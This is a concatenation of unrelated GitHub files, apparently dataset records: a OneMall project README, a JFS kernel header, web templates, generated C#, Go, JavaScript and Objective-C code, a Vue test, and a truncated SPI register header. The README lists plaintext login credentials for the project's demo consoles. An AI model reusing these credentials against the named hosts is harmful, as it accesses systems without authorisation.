演示账号:yudaoyuanma / yudaoyuanma * 用于展示 Prometheus 收集的 Metrics 指标数据。 **Dubbo Admin** * 地址:http://dubbo-admin.shop.iocoder.cn:18099 * 管理员账号:无需登陆 **RocketMQ Console** * 地址:<http://rocketmq.shop.iocoder.cn> > 教程:[《芋道 RocketMQ 安装部署》](http://www.iocoder.cn/RocketMQ/install/?onemall) **XXL-Job Console** * 地址:<http://job.shop.iocoder.cn> * 管理员账号:admin / 233666 > 教程:[《芋道 RocketMQ 安装部署》](http://www.iocoder.cn/XXL-JOB/install/?onemall) **Sentinel Console** * 地址:<http://sentinel.shop.iocoder.cn> * 账号:sentinel / sentinel > 教程:[《芋道 Sentinel 安装部署》](http://www.iocoder.cn/Sentinel/install/?onemall) # 技术 ## 搭建环境 [搭建调试环境](https://gitee.com/zhijiantianya/onemall/blob/master/docs/setup/quick-start.md) ## 架构图 TODO 此处应有一个架构图的装逼 JPG 图。 ## 项目结构 | 模块 | 名称 | 端口 | | | --- | --- | --- | --- | | `admin-web` | 【前端】管理后台 | HTTP 8080 | | | `mobile-web` | 【前端】商城 H5 | HTTP 8000 | | | `system-application` | 管理员 HTTP 服务 | HTTP 18083 | [接口文档](http://api.shop.iocoder.cn/admin-api/doc.html) | | `user-application` | 用户 HTTP 服务 | HTTP 18082 | [接口文档](http://api.shop.iocoder.cn/user-api/doc.html) | | `product-application` | 商品 HTTP 服务 | HTTP 18081 | [接口文档](http://api.shop.iocoder.cn/product-api/doc.html) | | `pay-application` | 支付 HTTP 服务 | HTTP 18084 | [接口文档](http://api.shop.iocoder.cn/pay-api/doc.html) | | `promotion-application` | 促销 HTTP 服务 | HTTP 18085 | [接口文档](http://api.shop.iocoder.cn/promotion-api/doc.html) | | `search-application` | 搜索 HTTP 服务 | HTTP 18086 | [接口文档](http://api.shop.iocoder.cn/search-api/doc.html) | | `order-application` | 订单 HTTP 服务 | HTTP 18088 | [接口文档](http://api.shop.iocoder.cn/order-api/doc.html) | ------- 后端项目,目前的项目结构如下: ```Java [-] xxx ├──[-] xxx-application // 提供对外 HTTP API 。 ├──[-] xxx-service-api // 提供 Dubbo 服务 API 。 ├──[-] xxx-service-impl // 提供 Dubbo 服务 Service 实现。 ``` 考虑到大多数公司,无需拆分的特别细,并且过多 JVM 带来的服务器成本。所以目前的设定是: * `xxx-service-impl` 内嵌在 `xxx-application` 中运行。 * MQ 消费者、定时器执行器,内嵌在 `xxx-service-impl` 中运行。 也就是说,一个 `xxx-application` 启动后,该模块就完整启动了。 ## 技术栈 ### 后端 | 框架 | 说明 | 版本 | | --- | --- | --- | | [Spring Boot](https://spring.io/projects/spring-boot) | 应用开发框架 | 2.1.4 | | [MySQL](https://www.mysql.com/cn/) | 数据库服务器 | 5.6 | | [Druid](https://github.com/alibaba/druid) | JDBC 连接池、监控组件 | 1.1.16 | | [MyBatis](http://www.mybatis.org/mybatis-3/zh/index.html) | 数据持久层框架 | 3.5.1 | | [MyBatis-Plus](https://mp.baomidou.com/) | Mybatis 增强工具包 | 3.1.1 | | [Redis](https://redis.io/) | key-value 数据库 | 暂未引入,等压测后,部分模块 | | [Redisson](https://github.com/redisson/redisson) | Redis 客户端 | 暂未引入,等压测后,部分模块 | | [Elasticsearch](https://www.elastic.co/cn/) | 分布式搜索引擎 | 6.7.1 | | [Dubbo](http://dubbo.apache.org/) | 分布式 RPC 服务框架 | 2.7.1 | | [RocketMQ](http://dubbo.apache.org/) | 消息中间件 | 4.3.2 | | [Seata](https://github.com/seata/seata) | 分布式事务中间件 | 0.5.1 | | [Zookeeper](http://zookeeper.apache.org/) | 分布式系统协调 | 3.4.9 作为注册中心 | | [XXL-Job](http://www.xuxueli.com/xxl-job/) | 分布式任务调度平台 | 2.0.1 | | [springfox-swagger2](https://github.com/springfox/springfox/tree/master/springfox-swagger2) | API 文档 | 2.9.2 | | [swagger-bootstrap-ui](https://gitee.com/xiaoym/swagger-bootstrap-ui) | Swagger 增强 UI 实现 | 1.9.3 | 未来考虑引入 * [ ] 配置中心 Apollo * [ ] 服务保障 Sentinel * [ ] 网关 Soul ### 前端 商城 H5 和管理后台,分别采用了 Vue 和 React ,基于其适合的场景考虑。具体的,可以看看 [《为什么 React 比 Vue 更适合大型应用?》](https://www.zhihu.com/question/314761485/answer/615318460) 的讨论。 **商城 H5** | 框架 | 说明 | 版本 | | --- | --- | --- | | [Vue](https://cn.vuejs.org/index.html) | JavaScript 框架 | 2.5.17 | | [Vant](https://youzan.github.io/vant/#/zh-CN/intro) | Vue UI 组件库 | 3.13.0 | **管理后台** | 框架 | 说明 | 版本 | | --- | --- | --- | | [React](https://reactjs.org/) | JavaScript 框架 | 16.7.0 | | [Ant Design](https://ant.design/docs/react/introduce-cn) | React UI 组件库 | 3.13.0 | ### 监控 一般来说,监控会有三种方式: * 1、Tracing ,我们采用 Apache SkyWalking * 2、Logging ,我们采用 ELK * 3、Metrics ,我们采用 Prometheus | 框架 | 说明 | 版本 | | --- | --- | --- | | [SkyWalking](http://skywalking.apache.org/) | 分布式应用追踪系统 | 6.0.0 | | [Prometheus](https://prometheus.io/) | 服务监控体系 | 2.9.2 | | [Alertmanager](https://prometheus.io/docs/alerting/alertmanager/) | 告警管理器 | 0.17.0 | | [Grafana](https://grafana.com/) | 仪表盘和图形编辑器 | 0.17.0 | ### 其它 * Jenkins 持续集成 * Nginx 服务器 * [ ] Docker 容器 * [ ] Nginx # 某种结尾 目前成员 * 小范 * 芋艿
{ "pile_set_name": "Github" }
/* * Copyright (C) International Business Machines Corp., 2000-2003 * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See * the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #ifndef _H_JFS_SUPERBLOCK #define _H_JFS_SUPERBLOCK /* * make the magic number something a human could read */ #define JFS_MAGIC "JFS1" /* Magic word */ #define JFS_VERSION 2 /* Version number: Version 2 */ #define LV_NAME_SIZE 11 /* MUST BE 11 for OS/2 boot sector */ /* * aggregate superblock * * The name superblock is too close to super_block, so the name has been * changed to jfs_superblock. The utilities are still using the old name. */ struct jfs_superblock { char s_magic[4]; /* 4: magic number */ __le32 s_version; /* 4: version number */ __le64 s_size; /* 8: aggregate size in hardware/LVM blocks; * VFS: number of blocks */ __le32 s_bsize; /* 4: aggregate block size in bytes; * VFS: fragment size */ __le16 s_l2bsize; /* 2: log2 of s_bsize */ __le16 s_l2bfactor; /* 2: log2(s_bsize/hardware block size) */ __le32 s_pbsize; /* 4: hardware/LVM block size in bytes */ __le16 s_l2pbsize; /* 2: log2 of s_pbsize */ __le16 pad; /* 2: padding necessary for alignment */ __le32 s_agsize; /* 4: allocation group size in aggr. blocks */ __le32 s_flag; /* 4: aggregate attributes: * see jfs_filsys.h */ __le32 s_state; /* 4: mount/unmount/recovery state: * see jfs_filsys.h */ __le32 s_compress; /* 4: > 0 if data compression */ pxd_t s_ait2; /* 8: first extent of secondary * aggregate inode table */ pxd_t s_aim2; /* 8: first extent of secondary * aggregate inode map */ __le32 s_logdev; /* 4: device address of log */ __le32 s_logserial; /* 4: log serial number at aggregate mount */ pxd_t s_logpxd; /* 8: inline log extent */ pxd_t s_fsckpxd; /* 8: inline fsck work space extent */ struct timestruc_t s_time; /* 8: time last updated */ __le32 s_fsckloglen; /* 4: Number of filesystem blocks reserved for * the fsck service log. * N.B. These blocks are divided among the * versions kept. This is not a per * version size. * N.B. These blocks are included in the * length field of s_fsckpxd. */ s8 s_fscklog; /* 1: which fsck service log is most recent * 0 => no service log data yet * 1 => the first one * 2 => the 2nd one */ char s_fpack[11]; /* 11: file system volume name * N.B. This must be 11 bytes to * conform with the OS/2 BootSector * requirements * Only used when s_version is 1 */ /* extendfs() parameter under s_state & FM_EXTENDFS */ __le64 s_xsize; /* 8: extendfs s_size */ pxd_t s_xfsckpxd; /* 8: extendfs fsckpxd */ pxd_t s_xlogpxd; /* 8: extendfs logpxd */ /* - 128 byte boundary - */ char s_uuid[16]; /* 16: 128-bit uuid for volume */ char s_label[16]; /* 16: volume label */ char s_loguuid[16]; /* 16: 128-bit uuid for log device */ }; extern int readSuper(struct super_block *, struct buffer_head **); extern int updateSuper(struct super_block *, uint); __printf(2, 3) extern void jfs_error(struct super_block *, const char *, ...); extern int jfs_mount(struct super_block *); extern int jfs_mount_rw(struct super_block *, int); extern int jfs_umount(struct super_block *); extern int jfs_umount_rw(struct super_block *); extern int jfs_extendfs(struct super_block *, s64, int); extern struct task_struct *jfsIOthread; extern struct task_struct *jfsSyncThread; #endif /*_H_JFS_SUPERBLOCK */
{ "pile_set_name": "Github" }
.metrics .label span &nbsp; strong | Popularity .column: .metrics = metrics_row project, :rubygem_downloads, :github_repo_stargazers_count, :github_repo_forks_count, :github_repo_watchers_count - if project.rubygem_releases_count .metrics .label span &nbsp; strong | Releases .column: .metrics = metrics_row project, :rubygem_current_version, :rubygem_releases_count, :rubygem_first_release_on, :rubygem_latest_release_on - if local_assigns[:expanded_view] - if project.github_repo_issue_closure_rate .metrics .label span &nbsp; strong | Issues .column: .metrics = metrics_row project, :github_repo_open_issues_count, :github_repo_closed_issues_count, :github_repo_total_issues_count, :github_repo_issue_closure_rate - if project.github_repo_pull_request_acceptance_rate .metrics .label span &nbsp; strong | Pull Requests .column: .metrics = metrics_row project, :github_repo_open_pull_requests_count, :github_repo_closed_pull_requests_count, :github_repo_merged_pull_requests_count, :github_repo_pull_request_acceptance_rate .metrics .label span &nbsp; strong | Development .column: .metrics = metrics_row project, :github_repo_primary_language, :rubygem_licenses, :github_repo_average_recent_committed_at, :rubygem_reverse_dependencies_count - else .metrics .label span &nbsp; strong | Activity .column: .metrics = metrics_row project, :github_repo_issue_closure_rate, :github_repo_pull_request_acceptance_rate, :github_repo_average_recent_committed_at, :rubygem_reverse_dependencies_count = project_details_buttons project
{ "pile_set_name": "Github" }
## Convert 'switch' to 'if' | Property | Value | | ------------------ | ------------------------ | | Id | RR0147 | | Title | Convert 'switch' to 'if' | | Syntax | switch statement | | Span | switch keyword | | Enabled by Default | &#x2713; | ### Usage ![Convert 'switch' to 'if'](../../images/refactorings/ConvertSwitchToIf.png) ## See Also * [Full list of refactorings](Refactorings.md) *\(Generated with [DotMarkdown](http://github.com/JosefPihrt/DotMarkdown)\)*
{ "pile_set_name": "Github" }
public class FieldMapping { internal double doubleMax = double.MaxValue; internal double doubleMin = double.MinValue; internal double doubleNaN = double.NaN; internal double doubleNegativeInfinity = double.NegativeInfinity; internal double doublePositiveInfinity = double.PositiveInfinity; internal float floatMax = float.MaxValue; internal float floatMin = float.MinValue; internal float floatNaN = float.NaN; internal float floatNegativeInfinity = float.NegativeInfinity; internal float floatPositiveInfinity = float.PositiveInfinity; internal byte byteMax = byte.MaxValue; internal byte byteMin = byte.MinValue; }
{ "pile_set_name": "Github" }
{ "name": "devcamper_api", "version": "1.0.0", "description": "Devcamper backend API", "main": "server.js", "scripts": { "start": "NODE_ENV=production node server", "dev": "nodemon server" }, "author": "Brad Traversy", "license": "MIT", "dependencies": { "bcryptjs": "^2.4.3", "colors": "^1.4.0", "cookie-parser": "^1.4.4", "cors": "^2.8.5", "dotenv": "^8.1.0", "express": "^4.17.1", "express-fileupload": "^1.2.0", "express-mongo-sanitize": "^1.3.2", "express-rate-limit": "^5.0.0", "helmet": "^3.21.1", "hpp": "^0.2.2", "jsonwebtoken": "^8.5.1", "mongoose": "^5.7.5", "morgan": "^1.9.1", "node-geocoder": "^3.24.0", "nodemailer": "^6.3.0", "randomatic": "^3.1.1", "slugify": "^1.3.5", "xss-clean": "^0.1.1" }, "devDependencies": { "nodemon": "^1.19.2" } }
{ "pile_set_name": "Github" }
/* Source generated by crazyvoids source generating tool **/ #include "SystemTransactions.h" void dll_end() { for(;;){} } void dll_size() { for(;;){} } void dll_start() { for(;;){} } void mono_aot_file_info() { for(;;){} } void mono_aot_System_Transactionsjit_code_end() { for(;;){} } void mono_aot_System_Transactionsjit_code_start() { for(;;){} } void mono_aot_System_Transactionsjit_got() { for(;;){} } void mono_aot_System_Transactionsmethod_addresses() { for(;;){} } void mono_aot_System_Transactionsplt() { for(;;){} } void mono_aot_System_Transactionsplt_end() { for(;;){} } void mono_aot_System_Transactionsunbox_trampoline_addresses() { for(;;){} } void mono_aot_System_Transactionsunbox_trampolines() { for(;;){} } void mono_aot_System_Transactionsunbox_trampolines_end() { for(;;){} } void mono_aot_System_Transactionsunwind_info() { for(;;){} } void unbox_trampoline_p() { for(;;){} } void __attribute__ ((constructor)) initLibrary(void) { } void __attribute__ ((destructor)) cleanUpLibrary(void) { }
{ "pile_set_name": "Github" }
{ "name": "Express", "unit": "day", "min": 1, "max": 2 }
{ "pile_set_name": "Github" }
// // Generated by class-dump 3.5 (64 bit). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard. // #import <Foundation/NSCoder.h> @interface NSCoder (UIGeometryKeyedCoding) - (struct UIOffset)decodeUIOffsetForKey:(id)arg1; - (struct UIEdgeInsets)decodeUIEdgeInsetsForKey:(id)arg1; - (struct CGAffineTransform)decodeCGAffineTransformForKey:(id)arg1; - (struct CGRect)decodeCGRectForKey:(id)arg1; - (struct CGSize)decodeCGSizeForKey:(id)arg1; - (struct CGVector)decodeCGVectorForKey:(id)arg1; - (struct CGPoint)decodeCGPointForKey:(id)arg1; - (void)encodeUIOffset:(struct UIOffset)arg1 forKey:(id)arg2; - (void)encodeUIEdgeInsets:(struct UIEdgeInsets)arg1 forKey:(id)arg2; - (void)encodeCGAffineTransform:(struct CGAffineTransform)arg1 forKey:(id)arg2; - (void)encodeCGRect:(struct CGRect)arg1 forKey:(id)arg2; - (void)encodeCGSize:(struct CGSize)arg1 forKey:(id)arg2; - (void)encodeCGVector:(struct CGVector)arg1 forKey:(id)arg2; - (void)encodeCGPoint:(struct CGPoint)arg1 forKey:(id)arg2; @end
{ "pile_set_name": "Github" }
//------------------------------------------------------------------------------ // <auto-generated> // This code was generated by a tool. // Runtime Version:2.0.50727.42 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // </auto-generated> //------------------------------------------------------------------------------ namespace Microsoft.ServiceModel.Samples { [System.CodeDom.Compiler.GeneratedCodeAttribute("System.ServiceModel", "3.0.0.0")] [System.ServiceModel.ServiceContractAttribute(Namespace="http://Microsoft.ServiceModel.Samples", SessionMode=System.ServiceModel.SessionMode.Required)] public interface ICalculatorSession { [System.ServiceModel.OperationContractAttribute(IsOneWay=true, Action="http://Microsoft.ServiceModel.Samples/ICalculatorSession/Clear")] void Clear(); [System.ServiceModel.OperationContractAttribute(IsOneWay=true, Action="http://Microsoft.ServiceModel.Samples/ICalculatorSession/AddTo")] void AddTo(double n); [System.ServiceModel.OperationContractAttribute(IsOneWay=true, Action="http://Microsoft.ServiceModel.Samples/ICalculatorSession/SubtractFrom")] void SubtractFrom(double n); [System.ServiceModel.OperationContractAttribute(IsOneWay=true, Action="http://Microsoft.ServiceModel.Samples/ICalculatorSession/MultiplyBy")] void MultiplyBy(double n); [System.ServiceModel.OperationContractAttribute(IsOneWay=true, Action="http://Microsoft.ServiceModel.Samples/ICalculatorSession/DivideBy")] void DivideBy(double n); [System.ServiceModel.OperationContractAttribute(Action="http://Microsoft.ServiceModel.Samples/ICalculatorSession/Equals", ReplyAction="http://Microsoft.ServiceModel.Samples/ICalculatorSession/EqualsResponse")] double Equals(); } [System.CodeDom.Compiler.GeneratedCodeAttribute("System.ServiceModel", "3.0.0.0")] public interface ICalculatorSessionChannel : ICalculatorSession, System.ServiceModel.IClientChannel { } [System.CodeDom.Compiler.GeneratedCodeAttribute("System.ServiceModel", "3.0.0.0")] public partial class CalculatorSessionClient : System.ServiceModel.ClientBase<ICalculatorSession>, ICalculatorSession { public CalculatorSessionClient() { } public CalculatorSessionClient(string endpointConfigurationName) : base(endpointConfigurationName) { } public CalculatorSessionClient(string endpointConfigurationName, string remoteAddress) : base(endpointConfigurationName, remoteAddress) { } public CalculatorSessionClient(string endpointConfigurationName, System.ServiceModel.EndpointAddress remoteAddress) : base(endpointConfigurationName, remoteAddress) { } public CalculatorSessionClient(System.ServiceModel.Channels.Binding binding, System.ServiceModel.EndpointAddress remoteAddress) : base(binding, remoteAddress) { } public void Clear() { base.Channel.Clear(); } public void AddTo(double n) { base.Channel.AddTo(n); } public void SubtractFrom(double n) { base.Channel.SubtractFrom(n); } public void MultiplyBy(double n) { base.Channel.MultiplyBy(n); } public void DivideBy(double n) { base.Channel.DivideBy(n); } public double Equals() { return base.Channel.Equals(); } } }
{ "pile_set_name": "Github" }
package daemon import ( "github.com/skynetservices/skynet" "github.com/skynetservices/skynet/client" ) type Client struct { client.ServiceClientProvider requestInfo *skynet.RequestInfo } func GetDaemonForService(s *skynet.ServiceInfo) (c Client) { return GetDaemonForHost(s.ServiceAddr.IPAddress) } func GetDaemonForHost(host string) (c Client) { registered := true criteria := &skynet.Criteria{ Hosts: []string{host}, Registered: &registered, Services: []skynet.ServiceCriteria{ skynet.ServiceCriteria{Name: "SkynetDaemon"}, }, } s := client.GetServiceFromCriteria(criteria) c = Client{s, nil} return } func (c Client) ListSubServices(in ListSubServicesRequest) (out ListSubServicesResponse, err error) { err = c.Send(c.requestInfo, "ListSubServices", in, &out) return } func (c Client) StopAllSubServices(in StopAllSubServicesRequest) (out StopAllSubServicesResponse, err error) { err = c.Send(c.requestInfo, "StopAllSubServices", in, &out) return } func (c Client) StartSubService(in StartSubServiceRequest) (out StartSubServiceResponse, err error) { err = c.Send(c.requestInfo, "StartSubService", in, &out) return } func (c Client) StopSubService(in StopSubServiceRequest) (out StopSubServiceResponse, err error) { err = c.Send(c.requestInfo, "StopSubService", in, &out) return } func (c Client) RestartSubService(in RestartSubServiceRequest) (out RestartSubServiceResponse, err error) { err = c.Send(c.requestInfo, "RestartSubService", in, &out) return } func (c Client) RestartAllSubServices(in RestartAllSubServicesRequest) (out RestartAllSubServicesResponse, err error) { err = c.Send(c.requestInfo, "RestartAllSubServices", in, &out) return } func (c Client) RegisterSubService(in RegisterSubServiceRequest) (out RegisterSubServiceResponse, err error) { err = c.Send(c.requestInfo, "RegisterSubService", in, &out) return } func (c Client) UnregisterSubService(in UnregisterSubServiceRequest) (out UnregisterSubServiceResponse, err error) { err = c.Send(c.requestInfo, "UnregisterSubService", in, &out) return } func (c Client) SubServiceLogLevel(in SubServiceLogLevelRequest) (out SubServiceLogLevelResponse, err error) { err = c.Send(c.requestInfo, "SubServiceLogLevel", in, &out) return } func (c Client) LogLevel(in LogLevelRequest) (out LogLevelResponse, err error) { err = c.Send(c.requestInfo, "LogLevel", in, &out) return } func (c Client) Stop(in StopRequest) (out StopResponse, err error) { err = c.Send(c.requestInfo, "Stop", in, &out) c.Close() return }
{ "pile_set_name": "Github" }
dojo.provide("dojox.rpc.ProxiedPath"); dojo.require("dojox.rpc.Service"); dojox.rpc.envelopeRegistry.register( "PROXIED-PATH",function(str){return str == "PROXIED-PATH"},{ serialize:function(smd, method, data){ var i; var target = dojox.rpc.getTarget(smd, method); if(dojo.isArray(data)){ for(i = 0; i < data.length;i++){ target += '/' + (data[i] == null ? "" : data[i]); } }else{ for(i in data){ target += '/' + i + '/' + data[i]; } } return { data:'', target: (method.proxyUrl || smd.proxyUrl) + "?url=" + encodeURIComponent(target) }; }, deserialize:function(results){ return results; } } );
{ "pile_set_name": "Github" }
import { config, mount } from '@vue/test-utils' import CommentCard from './CommentCard.vue' import Vuex from 'vuex' const localVue = global.localVue localVue.directive('scrollTo', jest.fn()) config.stubs['client-only'] = '<span><slot /></span>' config.stubs['nuxt-link'] = '<span><slot /></span>' describe('CommentCard.vue', () => { let propsData, mocks, stubs, getters, wrapper, Wrapper beforeEach(() => { propsData = { comment: { id: 'comment007', author: { id: 'some-user' }, }, postId: 'post42', } mocks = { $t: jest.fn(), $toast: { success: jest.fn(), error: jest.fn(), }, $i18n: { locale: () => 'en', }, $filters: { truncate: (a) => a, removeHtml: (a) => a, }, $route: { hash: '' }, $scrollTo: jest.fn(), $apollo: { mutate: jest.fn().mockResolvedValue({ data: { DeleteComment: { id: 'it-is-the-deleted-comment', }, }, }), }, } stubs = { ContentViewer: true, } getters = { 'auth/user': () => { return {} }, 'auth/isModerator': () => false, } }) describe('mount', () => { beforeEach(jest.useFakeTimers) Wrapper = () => { const store = new Vuex.Store({ getters, }) return mount(CommentCard, { store, propsData, mocks, localVue, stubs, }) } describe('given a comment', () => { beforeEach(() => { propsData.comment = { id: '2', contentExcerpt: 'Hello I am a comment content', content: 'Hello I am comment content', author: { id: 'commentAuthorId', slug: 'ogerly' }, } }) // skipped for now because of the immense difficulty in testing tiptap editor it.skip('renders content', () => { wrapper = Wrapper() expect(wrapper.text()).toMatch('Hello I am a comment content') }) describe('which is disabled', () => { beforeEach(() => { propsData.comment.disabled = true }) it('renders no comment data', () => { wrapper = Wrapper() expect(wrapper.text()).not.toMatch('comment content') }) it('has no "disabled-content" css class', () => { wrapper = Wrapper() expect(wrapper.classes()).not.toContain('disabled-content') }) it('translates a placeholder', () => { wrapper = Wrapper() const calls = mocks.$t.mock.calls const expected = [['comment.content.unavailable-placeholder']] expect(calls).toEqual(expect.arrayContaining(expected)) }) describe('for a moderator', () => { beforeEach(() => { getters['auth/isModerator'] = () => true }) it.skip('renders comment data', () => { wrapper = Wrapper() expect(wrapper.text()).toMatch('comment content') }) it('has a "disabled-content" css class', () => { wrapper = Wrapper() expect(wrapper.classes()).toContain('disabled-content') }) }) }) describe('scrollToAnchor mixin', () => { describe('$route.hash !== comment.id', () => { beforeEach(() => { mocks.$route = { hash: '', } }) it('skips $scrollTo', () => { wrapper = Wrapper() jest.runAllTimers() expect(mocks.$scrollTo).not.toHaveBeenCalled() }) }) describe('$route.hash === comment.id', () => { beforeEach(() => { mocks.$route = { hash: '#commentId-2', } }) it('calls $scrollTo', () => { wrapper = Wrapper() jest.runAllTimers() expect(mocks.$scrollTo).toHaveBeenCalledWith('#commentId-2') }) }) }) describe('test callbacks', () => { beforeEach(() => { wrapper = Wrapper() }) describe('deletion of Comment from List by invoking "deleteCommentCallback()"', () => { beforeEach(async () => { await wrapper.vm.deleteCommentCallback() }) it('emits "deleteComment"', () => { expect(wrapper.emitted('deleteComment')).toEqual([ [ { id: 'it-is-the-deleted-comment', }, ], ]) }) it('does call mutation', () => { expect(mocks.$apollo.mutate).toHaveBeenCalledTimes(1) }) it('mutation is successful', () => { expect(mocks.$toast.success).toHaveBeenCalledTimes(1) }) }) }) describe('test update comment', () => { beforeEach(() => { wrapper = Wrapper() }) describe('with a given comment', () => { beforeEach(async () => { await wrapper.vm.updateComment({ id: 'it-is-the-updated-comment', }) }) it('emits "updateComment"', () => { expect(wrapper.emitted('updateComment')).toEqual([ [ { id: 'it-is-the-updated-comment', }, ], ]) }) }) }) describe('click reply button', () => { beforeEach(async () => { wrapper = Wrapper() await wrapper.find('.reply-button').trigger('click') }) it('emits "reply"', () => { expect(wrapper.emitted('reply')).toEqual([ [ { id: 'commentAuthorId', slug: 'ogerly', }, ], ]) }) }) }) }) })
{ "pile_set_name": "Github" }
add_library(A OBJECT IMPORTED) # We don't actually build this example so just configure dummy # object files to test. They do not have to exist. set_property(TARGET A APPEND PROPERTY IMPORTED_CONFIGURATIONS DEBUG) set_target_properties(A PROPERTIES IMPORTED_OBJECTS_DEBUG "${CMAKE_CURRENT_BINARY_DIR}/does_not_exist.o" IMPORTED_OBJECTS "${CMAKE_CURRENT_BINARY_DIR}/does_not_exist.o" ) add_library(B $<TARGET_OBJECTS:A> b.c)
{ "pile_set_name": "Github" }
using System; using System.Collections.Generic; using System.ComponentModel; using System.Text; using WebVella.Erp.Api.Models; namespace WebVella.Erp.Web.Models { public enum SitemapNodeType { [SelectOption(Label = "entity list")] EntityList = 1, [SelectOption(Label = "application page")] ApplicationPage = 2, [SelectOption(Label = "url")] Url = 3, } }
{ "pile_set_name": "Github" }
#pragma once #include <Register/Utility.hpp> namespace Kvasir { //Serial Peripheral Interface namespace Spi0S{ ///<SPI Status Register using Addr = Register::Address<0x40076000,0xffffff0f,0x00000000,unsigned char>; ///Master Mode Fault Flag enum class ModfVal { v0=0x00000000, ///<No mode fault error v1=0x00000001, ///<Mode fault error detected }; constexpr Register::FieldLocation<Addr,Register::maskFromRange(4,4),Register::Access<Register::AccessType::readOnly,Register::ReadActionType::normal,Register::ModifiedWriteValueType::normal>,ModfVal> modf{}; namespace ModfValC{ constexpr Register::FieldValue<decltype(modf)::Type,ModfVal::v0> v0{}; constexpr Register::FieldValue<decltype(modf)::Type,ModfVal::v1> v1{}; } ///SPI Transmit Buffer Empty Flag (when FIFO is not supported or not enabled) or SPI transmit FIFO empty flag (when FIFO is supported and enabled) enum class SptefVal { v0=0x00000000, ///<SPI transmit buffer not empty (when FIFOMODE is not present or is 0) or SPI FIFO not empty (when FIFOMODE is 1) v1=0x00000001, ///<SPI transmit buffer empty (when FIFOMODE is not present or is 0) or SPI FIFO empty (when FIFOMODE is 1) }; constexpr Register::FieldLocation<Addr,Register::maskFromRange(5,5),Register::Access<Register::AccessType::readOnly,Register::ReadActionType::normal,Register::ModifiedWriteValueType::normal>,SptefVal> sptef{}; namespace SptefValC{ constexpr Register::FieldValue<decltype(sptef)::Type,SptefVal::v0> v0{}; constexpr Register::FieldValue<decltype(sptef)::Type,SptefVal::v1> v1{}; } ///SPI Match Flag enum class SpmfVal { v0=0x00000000, ///<Value in the receive data buffer does not match the value in the MH:ML registers v1=0x00000001, ///<Value in the receive data buffer matches the value in the MH:ML registers }; constexpr Register::FieldLocation<Addr,Register::maskFromRange(6,6),Register::ReadWriteAccess,SpmfVal> spmf{}; namespace SpmfValC{ constexpr Register::FieldValue<decltype(spmf)::Type,SpmfVal::v0> v0{}; constexpr Register::FieldValue<decltype(spmf)::Type,SpmfVal::v1> v1{}; } ///SPI Read Buffer Full Flag (when FIFO is not supported or not enabled) or SPI read FIFO FULL flag (when FIFO is supported and enabled) enum class SprfVal { v0=0x00000000, ///<No data available in the receive data buffer (when FIFOMODE is not present or is 0) or Read FIFO is not full (when FIFOMODE is 1) v1=0x00000001, ///<Data available in the receive data buffer (when FIFOMODE is not present or is 0) or Read FIFO is full (when FIFOMODE is 1) }; constexpr Register::FieldLocation<Addr,Register::maskFromRange(7,7),Register::Access<Register::AccessType::readOnly,Register::ReadActionType::normal,Register::ModifiedWriteValueType::normal>,SprfVal> sprf{}; namespace SprfValC{ constexpr Register::FieldValue<decltype(sprf)::Type,SprfVal::v0> v0{}; constexpr Register::FieldValue<decltype(sprf)::Type,SprfVal::v1> v1{}; } } namespace Spi0Br{ ///<SPI Baud Rate Register using Addr = Register::Address<0x40076001,0xffffff80,0x00000000,unsigned char>; ///SPI Baud Rate Divisor enum class SprVal { v0000=0x00000000, ///<Baud rate divisor is 2. v0001=0x00000001, ///<Baud rate divisor is 4. v0010=0x00000002, ///<Baud rate divisor is 8. v0011=0x00000003, ///<Baud rate divisor is 16. v0100=0x00000004, ///<Baud rate divisor is 32. v0101=0x00000005, ///<Baud rate divisor is 64. v0110=0x00000006, ///<Baud rate divisor is 128. v0111=0x00000007, ///<Baud rate divisor is 256. v1000=0x00000008, ///<Baud rate divisor is 512. }; constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,0),Register::ReadWriteAccess,SprVal> spr{}; namespace SprValC{ constexpr Register::FieldValue<decltype(spr)::Type,SprVal::v0000> v0000{}; constexpr Register::FieldValue<decltype(spr)::Type,SprVal::v0001> v0001{}; constexpr Register::FieldValue<decltype(spr)::Type,SprVal::v0010> v0010{}; constexpr Register::FieldValue<decltype(spr)::Type,SprVal::v0011> v0011{}; constexpr Register::FieldValue<decltype(spr)::Type,SprVal::v0100> v0100{}; constexpr Register::FieldValue<decltype(spr)::Type,SprVal::v0101> v0101{}; constexpr Register::FieldValue<decltype(spr)::Type,SprVal::v0110> v0110{}; constexpr Register::FieldValue<decltype(spr)::Type,SprVal::v0111> v0111{}; constexpr Register::FieldValue<decltype(spr)::Type,SprVal::v1000> v1000{}; } ///SPI Baud Rate Prescale Divisor enum class SpprVal { v000=0x00000000, ///<Baud rate prescaler divisor is 1. v001=0x00000001, ///<Baud rate prescaler divisor is 2. v010=0x00000002, ///<Baud rate prescaler divisor is 3. v011=0x00000003, ///<Baud rate prescaler divisor is 4. v100=0x00000004, ///<Baud rate prescaler divisor is 5. v101=0x00000005, ///<Baud rate prescaler divisor is 6. v110=0x00000006, ///<Baud rate prescaler divisor is 7. v111=0x00000007, ///<Baud rate prescaler divisor is 8. }; constexpr Register::FieldLocation<Addr,Register::maskFromRange(6,4),Register::ReadWriteAccess,SpprVal> sppr{}; namespace SpprValC{ constexpr Register::FieldValue<decltype(sppr)::Type,SpprVal::v000> v000{}; constexpr Register::FieldValue<decltype(sppr)::Type,SpprVal::v001> v001{}; constexpr Register::FieldValue<decltype(sppr)::Type,SpprVal::v010> v010{}; constexpr Register::FieldValue<decltype(sppr)::Type,SpprVal::v011> v011{}; constexpr Register::FieldValue<decltype(sppr)::Type,SpprVal::v100> v100{}; constexpr Register::FieldValue<decltype(sppr)::Type,SpprVal::v101> v101{}; constexpr Register::FieldValue<decltype(sppr)::Type,SpprVal::v110> v110{}; constexpr Register::FieldValue<decltype(sppr)::Type,SpprVal::v111> v111{}; } } namespace Spi0C2{ ///<SPI Control Register 2 using Addr = Register::Address<0x40076002,0xffffff00,0x00000000,unsigned char>; ///SPI 